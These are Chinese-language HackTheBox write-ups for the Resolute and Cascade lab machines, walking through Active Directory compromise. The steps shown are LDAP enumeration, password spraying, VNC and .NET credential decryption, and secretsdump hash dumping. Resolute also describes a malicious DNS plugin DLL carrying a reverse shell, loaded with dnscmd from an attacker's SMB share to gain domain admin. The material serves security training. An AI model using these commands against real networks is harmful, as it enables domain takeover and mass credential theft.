hackthebox-220-resolute

hackthebox resolute

resolute

port scan

使用rustscan做端口扫描,发现存在139,445,389等端口开放。

services

使用windapsearch对ldap服务进行枚举,枚举用户、组、以及全量信息。

1
2
3
4
5
6
7
8
9
mod="users"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="user-spns"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="privileged-users"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="metadata"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="groups"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="domain-admins"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="computers"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"

windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "custom" --filter "(&(objectClass=*))" | tee custom.all.txt

windapsearch enum ldap

对检索出的信息,进行过滤查看,以常见关键词进行过滤,发现Account description中存在密码Welcome123!

1
cat custom.all.txt | rg -iaP "((pass)|(pwd)|(cred)|(desc))" | rg -ivP "((badpwdcount)|(badpasswordtime)|(pwdlastset))" | rg -iaP "((pass)|(pwd)|(cred)|(desc))"

filter windapsearch result find password

发现密码后,根据密码找到此密码对应到哪个用户。

1
cat custom.all.txt | rg -B7 -A30 -iaP "welcome123"

windapsearch find password

找到marko / Welcome123!凭据。根据此凭据先尝试登录(不成功),使用cme查看密码策略, 发现没有设置锁定策略。

1
cme smb '10.10.10.169' -u '' -p '' --pass-pol

没有密码锁定策略,可以尝试密码喷洒, 得到可登录凭据melanie / Welcome123!

1
cme smb '10.10.10.169' -u './megabank.local.users.txt' -p 'Welcome123!' --continue-on-success

cme password spray

foothold

使用evil-winrmmelanie / Welcome123!凭据登录目标。 melanie foothold

priv esca

一番枚举后,发现根目录下存在隐藏目录PSTranscripts,其中存在pwsh 执行历史记录,包含登录凭据。

enum file system find hidden dir PSTranscripts enum file system PSTranscripts find hidden dir 20191203 enum file system PSTranscripts find pwsh history

在pwsh历史记录中,发现ryan的凭据ryan / Serv3r4Admin4cc123!find ryan password

尝试使用ryan / Serv3r4Admin4cc123!登录winrm(成功),可以再次尝试密码喷洒。

一番枚举,发现ryan用户归属于DnsAdmins组,因此可以尝试添加Dns plugin的方式,使得恶意插件启动,从而提升权限。 ryan is in DnsAdmins group 参照esca priv with dnsadmins group active direcotry文章, 制作dns恶意插件,由于启动进程后,执行反弹shell连接,会导致插件停止继续运行,shell不稳定,可以使用多线程编程,可以使得 reverse shell在单独的线程中,不会影响dns服务运行,导致服务异常停止,shell不稳定。
根据dim0x69/dns-exe-persistance插件模板,以及cpp rev shell 制作恶意dns plugin.

dns plugin: dns exe persistance cpp rsh

监听对应端口,等待反弹shell.
启动smb share, 托管恶意插件,然后在目标机器安装插件,并重启dns服务,让插件启动,应该可以得到反弹shell.

resolute impacket smbShare no password

执行命令,加载dns plugin,并重启dns服务。

1
dnscmd resolute.megabank.local /config /serverlevelplugindll \\10.10.14.22\share\dnsAplugin.dll; sc.exe stop dns; sc.exe start dns;

install dns plugin: dnscmd

监听端口处,得到反弹administrator shell,由于目标是域控,则得到了域管权限.

dns plugin thread administrator reverse shell

post

尝试使用impacket-secretsdump获取所有域用户的凭据。


hackthebox-cascade-235

hackthebox cascade

cascade

port scan

使用rustscan做端口扫描,存在开放端口139,445,389,5985等。

services

使用windapsearch枚举389 ldap服务,枚举users,groups,computers以及custom all信息。

1
2
3
4
5
6
mod="users"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}"  | tee "${mod}.txt"
mod="groups"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="computers"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="metadata"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"

mod="custom"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" --filter "(&(objectClass=*))" | tee custom.allObject.txt

windapsearch enum ldap

过滤查看查询到的信息,发现存在cascadeLegacyPwd字样,保存着r.thompson的密码。

grep windapsearch result found cascadeLegacyPwd

r.thompson cascadeLegacyPwd

使用cme根据r.thompson / rY4n5eva凭据尝试登录smb服务,获得共享目录列表(登录成功)。

1
cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' --shares

cme enum r.thompson shares

可以使用cme查看用户密码策略后,尝试密码喷洒(常规步骤,仅做记录)。

1
cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' --pass-pol

cme get pass policy

发现未设置密码锁定次数,则可以密码喷洒,不会锁定账户。未发现其他成果。

1
cme smb '10.10.10.182' -u './cascade.local.users.lst' -p 'rY4n5eva' --continue-on-success

cme r.thompson pass spray 使用cmespider_plus模块爬取smb 共享文件信息。

1
cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' -M spider_plus

cme spider r.thompson shares

查看这些文件内容,汇总以下信息:

有一个TempAdmin账户,已经被删除,与管理员账户密码相同

存在一个s.smith账户,它有VNC安装密码hex形式: hex:6b,cf,2a,4b,6e,5a,ca,0f

存在一个ArkSvc账户,此账户做删除操作,此账户删除了TempAdmin账户

根据frizb/PasswordDecrypts文档说明,恢复hex形式的VNC密码。

1
2
# Native Linux Tools
echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

decrypt s.smith VNC pass

使用cme,以s.smith / sT333ve2 尝试登录smb, winrm, 登录成功时使用spider_plus模块搜集共享文件信息;(标准动作:尝试密码喷洒)

1
2
3
4
cme smb '10.10.10.182' -u 's.smith' -p 'sT333ve2' --shares
cme winrm '10.10.10.182' -u 's.smith' -p 'sT333ve2'

cme smb '10.10.10.182' -u 's.smith' -p 'sT333ve2' -M spider_plus

cme s.smith smb,winrm login

cme s.smith smb spider_plus

foothold

wirm能够登录,使用evil-winrm登录,获得交互式pwsh shell.

1
evil-winrm -i '10.10.10.182' -u 's.smith' -p 'sT333ve2'

evil-winrm s.smith login

priv esca

发现s.smith可读共享目录Audit$下,存在一些二进制文件和sqllite数据库文件Audit.db.

查看Audit.db数据库中数据,发现ArkSvc密码(加密) BQO5l5Kj9MdErXx6Q6AGOw==,

sqllite Audit.db ArkSvc password

使用dnspyCascAudit.exe做逆向,发现需要引入CascCrypto.dll,引入后发现, 此二进制文件的功能是与sqllite数据库交互查询ArkSvc用户的密码后解密,再做其他操作。 解密方法是CascCrypto.dll链接库中的 public static string DecryptString(string EncryptedString, string Key)方法。 Key是c4scadek3y654321ArkSvc的加密密码是BQO5l5Kj9MdErXx6Q6AGOw==

dnspy reverse CascAudit.exe pe file

尝试新建C#控制台程序,debug此方法,手动解密密码, 密码是w3lc0meFr31nd

create new project decrypt ArkSvc

使用cmeArkSvc / w3lc0meFr31nd凭据登录smb,winrm.

1
2
3
4
cme smb '10.10.10.182' -u 'ArkSvc' -p 'w3lc0meFr31nd'
cme winrm '10.10.10.182' -u 'ArkSvc' -p 'w3lc0meFr31nd'

evil-winrm -i '10.10.10.182' -u 'ArkSvc' -p 'w3lc0meFr31nd'

cme ArkSvc smb winrm login

枚举到ArkSvc用户在AD Recycle Bin组中,与之前收集的信息符合,引入pwsh的ActiveDirectory模块, 调用Get-ADObject方法查询,Recycle Bin中已经删除的对象属性。

1
2
3
Import-Module ActiveDirectory

Get-ADObject -SearchBase "CN=Deleted Objects,DC=Cascade,DC=local" -Filter {ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *

enum ActiveDirectory DeletedObject properties

得到TempAdmin / baCT3r1aN00dles 凭据。之前收集到的信息TempAdmin密码与普通管理员密码相同,尝试密码喷洒。

1
2
3
impacket-GetADUsers -all -dc-ip '10.10.10.182' 'cascade.local/ArkSvc:w3lc0meFr31nd' | tail -n+6 | awk '{print $1}' | tee ../../dump/cascade.local.users.txt

cme smb '10.10.10.182' -u './cascade.local.users.txt' -p 'baCT3r1aN00dles' --continue-on-success

喷洒到administrator / baCT3r1aN00dles,与之前掌握的信息符合,(密码喷洒容易触发主机防护告警)。 cme ArkSvc spray pass

使用evil-winrmadministrator / baCT3r1aN00dles凭据登录winrm服务。

evil-winrm administrator login

post

impacket-secretsdump将域内所有用户hash dump到本地。

1
impacket-secretsdump -outputfile 'cascade.local.secretsdump.txt' -dc-ip '10.10.10.182' -target-ip '10.10.10.182' 'cascade.local/administrator:baCT3r1aN00dles@10.10.10.182'

impacket-secretsdump dump domain all user's hash